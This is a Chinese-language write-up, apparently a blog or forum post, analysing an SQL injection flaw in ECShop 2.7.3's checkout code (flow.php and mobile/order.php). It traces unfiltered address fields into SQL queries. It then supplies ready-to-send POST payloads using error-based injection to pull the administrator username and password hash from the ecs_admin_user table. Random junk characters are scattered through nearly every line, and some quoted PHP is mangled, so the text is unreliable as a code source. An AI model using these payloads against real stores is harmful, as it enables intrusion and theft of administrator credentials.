前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。8 ]! s/ f0 M+ @# h% U! k
' Q8 [3 i/ C$ f2 e
漏洞关键文件:$ E) y: C' u ~4 l0 s
0 H, V6 E# P7 P8 [
/includes/lib_order.php
! m/ @! D5 Z8 K% d
, {2 K& S8 y' @* r/ l* ` 关键函数:
2 N, L! W9 l" {
$ C& {# z, Y; ] ( ?- H& S5 b* K. I
) t8 O9 j* l( c8 V- ?# x+ O- e
01 function available_shipping_list($region_id_list) ; K& W4 G" ]. s
& W/ `8 k5 V; P/ P" |" b
02 {
/ K! [$ S, g: ]; d) Z+ H& ^ T9 R: n( c- l3 ` h
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
0 c8 I# Y2 H7 z' b( X, D. y$ E# Z" S
( q/ X3 N4 ^) P1 n- B' X) \; U) w04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
' V6 a0 d3 x2 \) q$ w6 y. s% f7 t# _- o+ z" E
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . w1 K8 H5 q" f4 Y. h
' `8 V! k' M* Q% x' t
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ! c% K/ L: R- a; o, r% O |
+ c0 ^& `( Z/ e( S8 b9 q
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
3 b2 c* i H' i& D ^, h2 S
5 @& C7 t8 A, g: x- ?7 C+ z08 'WHERE r.region_id ' . db_create_in($region_id_list) .
- h L) G5 G6 r |- c; P) ]# {/ J( ]# }5 o( y) E5 }8 x
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; ) Z0 h1 @$ x! x6 z. \) q% S
" X4 e6 L2 i% Q4 L
10
8 N) G3 V+ M1 E
6 `) @3 Z9 ~- D! H& e11 return $GLOBALS['db']->getAll($sql); & }' o! c$ M7 i$ A. N
7 B1 \5 v6 w# }- q12 } 7 h6 L3 C& f3 @+ r
- `$ N1 ?9 g1 b" g, A! L
显然对传入的参数没有任何过滤就带入了查询语句。
o$ ]6 c1 n; T( Z% B$ K 4 \- J$ M# t9 x y# z1 B
下面我们追踪这个函数在flow.php中:4 V; h* [( \6 c% H0 u$ K& t
第531行:
2 ]8 `" u0 I4 H$ S% L
) v$ s* l) s9 R5 [, `1 $shipping_list = available_shipping_list($region); , x9 i# Q" X0 H4 L9 W& E
. }; O7 k; y! m) h" n
4 \3 Z# \6 j' B: n# B6 ^+ w$ x
9 Y9 H8 ?. b3 @2 V
# A. l ]' u! y
. ]. s' h1 \% g/ m' l2 P5 ~3 E再对传入变量进行追踪:
4 D3 o1 n5 k) |$ o8 E3 {) I3 y2 }* q2 N& B" h' b
第530行:
r* C, v) `% f3 }/ _; ~# _5 k2 y S' m$ B4 r* p
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ( l) n( Q# G7 e5 `; N9 s3 Y
9 U% O) r3 s" l# q " k! M' f! y) h8 s3 t
D1 b) H: v7 _, S% g
9 h9 L3 x" A/ W% v
7 m: ^8 R4 @2 `' x4 D8 Q+ H9 E
第473行:
& I* W8 _( f" Q7 c
; x4 ^5 _( ~; f' N$ R! x" ^: B! ]1 $consignee = get_consignee($_SESSION['user_id']);
+ O7 ?( T- C n, B& r* w+ \# L" j$ z# ]4 b5 e
到了一个关键函数:
. R# d# o7 ~! i* s+ Z
6 k# l4 M; A% x& X/includes/lib_order.php
8 x; R( w- [ m; `% s9 @3 n s/ Y& K/ w# Q: r
z( c( T4 {1 y4 F4 P v u# R
0 P4 @* P5 l3 M% }5 F0 m( K * i9 z. _& a" J- K5 y1 F
$ \* Y8 v% J/ r1 t01 function get_consignee($user_id)
- y3 o5 N0 f3 D* f+ H
# T M1 P9 w" M; g- q; ]* W" a) \02 {
2 p0 N: W8 R- C& Q/ J
2 G) X" e: z1 ~3 M' a; k4 E; U# s03 if (isset($_SESSION['flow_consignee'])) ' ]) d o4 g4 ]
0 i8 O/ p7 m# ~! V3 n" O' {
04 { 2 J8 j0 a$ |( n2 C
; i0 e$ m7 d5 b% s3 T. h7 h' p
05 /* 如果存在session,则直接返回session中的收货人信息 */ , Y) ?1 ^5 w1 {7 w
6 a" L, ~# o% C3 e/ A06 2 v/ L+ f" u6 T' h$ m
; A- ^" ~) T0 A: y' c1 P7 Z; E3 b
07 return $_SESSION['flow_consignee']; ( r, I$ `% G1 _. j& j2 a
. Z. r. o: { b* P08 }
S# @) ], y# n" b) B& ~8 Q! a) D* V" \" m# G I
09 else
\1 P& e/ P) _! ]8 a, _: `+ ^% m
+ Y# c4 ]) p& e& v( _9 ?; a& i10 {
( z0 \: W R4 e3 `( T% k4 S3 J3 Z4 h5 w; Z" c% Q1 i* t; Z
11 /* 如果不存在,则取得用户的默认收货人信息 */
. M" d) O' g4 d( H+ @, D5 D5 Y
' [# @$ F2 c/ X. g. x12 $arr = array();
3 ?0 j' Y8 M2 l- [- }" W6 N; S: ~+ B5 D
13 " @. c1 A( K4 O6 _ I9 P
: o3 N4 N L- u3 }9 ~
14 if ($user_id > 0) ) ~: W6 w0 ^) ~% H, r3 ^7 y3 @
' C7 W1 }7 M3 \' N/ ]! X; J$ Q15 { 8 I7 \9 \5 W- N5 S# O
2 ]+ m* }" ^& o* z! _
16 /* 取默认地址 */ . H) l0 s. l' W/ [
* N6 O+ c+ _8 K( ]6 t ]
17 $sql = "SELECT ua.*". / d4 M. {$ E+ C
5 t+ @9 X( U6 k" t2 X
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
; w" O0 \7 E% d) B( y2 i" y0 K6 W3 Z- `1 @! Q
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
9 l' l8 n& e+ [% i: O6 C% g7 V: h `' ~6 ~ B
20 * `! p7 f; x% @- d
, F$ z6 W# k9 K* _6 Y( `21 $arr = $GLOBALS['db']->getRow($sql); 2 V. M4 B0 u$ u k$ I
1 m: U" c, z+ E' M& e! K" s22 } 7 r( ]5 e& |- E+ I; \7 e) W
, K; v; Y% Y- K2 M- a23 ( Z6 K1 z7 ^: ~5 P
9 V6 y4 A1 f) {; Q. S
24 return $arr; # {! J N, B5 z7 u& u! n$ g
7 T( n [% U8 m' q7 E
25 } : V% B3 M3 H* T& ? b
- _* u% `( z' }' W/ L7 Y" }; B: ]
26 }
: ^2 y' i2 E' d( w2 V2 }6 \0 e. W0 [; n# _8 d0 l2 f1 Z. `
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?7 i: I; W4 X+ G
1 U" r2 J0 q0 ?$ m2 v# ] & l) i2 j0 m( Y& n* ^9 A
( h! m- z9 Z+ P# v0 s) l/ Z( Y
关键点:
. w' X3 _# H& A0 c! P9 S9 P; Z! J+ O* r1 E, O- k4 x8 ]/ D" ]
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
. \) ?) j- s+ {+ G5 K* S; m' S% ^: d" ]/ G: \+ O
这里对传入参数反转义存入$_SESSION中。8 |, `' k y J4 g
, W. K; m, v/ z( {* i0 |( y
1 ~' Q1 H& S9 L; r) g
* C5 x$ k4 ~4 o; A8 S6 o7 Y% n
然后看下:
( T$ N$ i' I" l9 N' L
# I8 v( K. ~! C5 T- ^4 N/ h d6 {
9 s" O0 b" f5 m+ x# g% J2 R8 K% o0 J4 L' z$ o' m
* c" }3 F% a$ I8 ]9 F
/ I3 A" ^# y' k8 F" Y' h01 $consignee = array( 0 s# v& \0 f% U0 [6 A- ^
( x6 X! N/ S8 J3 d4 a
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
6 O$ c. b) ?% b" ~. K
1 |% B5 j8 J- a9 N03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), + o, m" C5 Z5 ~, ^0 f Z8 F
{( ]8 C: L7 X, y* p. C0 |
04 'country' => empty($_POST['country']) ? '' _POST['country'],
$ B7 r, o( U5 H5 p6 e: _0 A' ^# o9 ~5 \( N
05 'province' => empty($_POST['province']) ? '' _POST['province'], 9 F1 o" v5 U/ k9 Y3 \( L% j2 Y) i
9 A2 J0 T! m4 N2 c3 S& Y, H06 'city' => empty($_POST['city']) ? '' _POST['city'], , o6 V; [9 u# D0 e
6 _( v2 s+ f, @
07 'district' => empty($_POST['district']) ? '' _POST['district'],
$ @3 p$ p/ H2 |2 C
% v$ x) S C; e0 e. e, `( L08 'email' => empty($_POST['email']) ? '' _POST['email'],
% Q. d4 R3 g; C& A K
) y% k( F+ G4 C0 X" Y. U09 'address' => empty($_POST['address']) ? '' _POST['address'], 7 | A8 J. u+ \
9 O+ g8 w4 D$ F( b
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
; H; g' G* q& c' x. e# U" p& }, [/ k
) z' C) q+ R% ~8 c$ d( K" D( Q11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), , P- h7 X0 N' P1 e+ Y7 v
4 Y X6 _; a# H12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
4 D8 b, U7 A9 o9 D/ v) X& n+ O* y$ W7 h6 @
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], - ~3 S# e# i& ?
U5 L( ^9 j$ G& V* a14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
7 a L" m, v& m" L5 N; c+ L
) H& q$ C2 _/ u15 ); + C- W- N( s ?/ s9 }0 U
! m- g6 \! ] y- t2 l6 @
好了注入就这样出现了。# i9 o* `- W: |) p7 [1 z
0 q1 p A# }/ z/ h8 k==================
* }' H0 A8 q6 U" J+ Q/ H9 e$ M z) Y/ P3 v# ]1 ]
注入测试: U4 i8 G; R$ G
) c/ X. X4 s, g环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)( @) G, {2 \0 ?9 P
( n7 b5 \ J& c- D
测试程序:ECShop_V2.7.3_UTF8_release1106
- r; g |6 ?$ {. ` g( F
9 g3 |1 {& P# |. ]
3 X3 N' J( M; c5 [0 E
6 U2 O6 V8 ~4 Y; t* g4 b4 {1.首先需要点击一个商品加入购物车* q; v: r+ _* F& L6 v
* n& i+ V; B& I: c* s$ J) d# R* |2.注册一个会员帐号$ |3 p& W4 J( R. e# i
! Z6 @3 C$ i0 ]7 u3 K7 [3.post提交数据4 g/ j7 O. D- [7 V8 M
( G, c6 G3 \% {. m( i$ I
6 X+ E7 r4 A2 |8 l
: T. |- J! }. G9 E0 g, C1 http://127.0.0.1/ecshop/flow.php 2 m# X* t- _' R
& f, I# V8 U) W. H/ N$ @) {
2 8 K& h! W# E! R
! b1 e# h0 M" s! s3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
# ?; I6 d# \; C5 U举一反三,我们根据这个漏洞我们可以继续深入挖掘:- U- \: W+ z, ^6 n- _& s5 X
, P( M K4 B4 I5 N* s9 i' F我们搜寻关键函数function available_shipping_list()3 @5 p) N6 b: D% ^, r/ x' u7 b
+ w/ t& d7 k' g" |) A& d1 r在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同, S# P* I) c. v; s- `) J4 Y2 [
# }. t9 N6 s, q9 O* M. E3 s利用exp:) w: R/ Z. I; e" ^
: ?+ Y5 z, F5 A9 c1.点击一个商品,点击购买商标/ P$ d! V E4 ]2 A8 I- D
$ Z0 M( g& Q# g- ? G
2.登录会员帐号
( F/ f3 b7 V B: E; q% }+ x7 y0 S, ]$ `5 B* ]& C& N b
3.post提交:
) q5 y* J( t' `4 P9 ]% ^4 \3 p3 }; P6 @5 ^) o6 O" k6 B
http://127.0.0.1/ecshop/mobile/order.php$ q& _2 J ]: X, {# c' e9 d7 z
/ a9 C6 e( O( b S' h# m * N# T; S+ m7 e4 a
; E" w- ?( ?& ccountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
4 E/ ^9 s5 V- b+ }; v" b6 U: |, f# D: @# s3 E- ~+ ?1 ~+ u
|